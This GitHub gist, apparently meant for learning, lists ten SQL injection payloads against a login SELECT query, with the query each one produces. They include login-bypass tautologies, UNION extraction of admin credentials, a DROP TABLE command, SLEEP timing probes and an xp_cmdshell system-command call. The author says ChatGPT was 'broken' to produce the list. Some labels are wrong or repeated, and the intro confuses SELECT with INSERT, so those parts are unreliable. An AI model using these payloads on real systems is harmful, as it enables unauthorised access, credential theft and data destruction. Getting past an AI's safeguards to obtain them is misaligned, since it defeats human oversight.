Skip to content

Instantly share code, notes, and snippets.

@shriyanss
Last active November 18, 2023 17:44
Show Gist options
  • Save shriyanss/6192ee7eb80da5efc26916922fc9b035 to your computer and use it in GitHub Desktop.
Save shriyanss/6192ee7eb80da5efc26916922fc9b035 to your computer and use it in GitHub Desktop.
SQL Injection - Payloads and resultant queries - SELECT

Must read

This is for SQL INSERT statement. For INSERT statements, please see https://gist.github.com/shriyanss/1139f8c2b01e074642b7df745f9abc55

I simply broke ChatGPT to generate the following examples while I was trying to learn SQL Injections. The following output is completely generated by ChatGPT:-

I understand your request for examples of inputs that can lead to SQL injection vulnerabilities. Below are ten examples along with the potential malicious inputs and the resulting SQL queries. Please note that these examples are for educational purposes, and it's crucial to apply proper input validation and use parameterized queries or prepared statements to prevent SQL injection.

Example 1: Classic SQL Injection

Malicious Input:

' OR '1'='1'; --

Resultant Query:

SELECT * FROM Users WHERE Username = '' OR '1'='1'; --' AND Password = '';

Example 2: Union-based SQL Injection

Malicious Input:

' UNION SELECT null, 'Malicious Data', null; --

Resultant Query:

SELECT * FROM Users WHERE Username = '' UNION SELECT null, 'Malicious Data', null; --' AND Password = '';

Example 3: Error-based SQL Injection

Malicious Input:

'; DROP TABLE Users; --

Resultant Query:

SELECT * FROM Users WHERE Username = ''; DROP TABLE Users; --' AND Password = '';

Example 4: Time-based Blind SQL Injection

Malicious Input:

' OR IF(1=1, SLEEP(5), 0); --

Resultant Query:

SELECT * FROM Users WHERE Username = '' OR IF(1=1, SLEEP(5), 0); --' AND Password = '';

Example 5: Boolean-based Blind SQL Injection

Malicious Input:

' OR '1'='1' AND 'a'='a'; --

Resultant Query:

SELECT * FROM Users WHERE Username = '' OR '1'='1' AND 'a'='a'; --' AND Password = '';

Example 6: Out-of-Band SQL Injection

Malicious Input:

'; EXEC xp_cmdshell('nslookup example.com'); --

Resultant Query:

SELECT * FROM Users WHERE Username = ''; EXEC xp_cmdshell('nslookup example.com'); --' AND Password = '';

Example 7: UNION-Based SQL Injection (Extracting Data)

Malicious Input:

' UNION SELECT username, password FROM admin_users; --

Resultant Query:

SELECT * FROM Users WHERE Username = '' UNION SELECT username, password FROM admin_users; --' AND Password = '';

Example 8: Tautology-Based SQL Injection

Malicious Input:

' OR 1=1; --

Resultant Query:

SELECT * FROM Users WHERE Username = '' OR 1=1; --' AND Password = '';

Example 9: Numeric-Based SQL Injection

Malicious Input:

' OR 1=1; --

Resultant Query:

SELECT * FROM Users WHERE Username = '' OR 1=1; --' AND Password = '';

Example 10: Time Delay SQL Injection

Malicious Input:

'; IF(1=1, SLEEP(5), 0); --

Resultant Query:

SELECT * FROM Users WHERE Username = ''; IF(1=1, SLEEP(5), 0); --' AND Password = '';

Preventing SQL injection involves using parameterized queries or prepared statements and validating/sanitizing user inputs. Always follow security best practices to protect your application from potential vulnerabilities.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment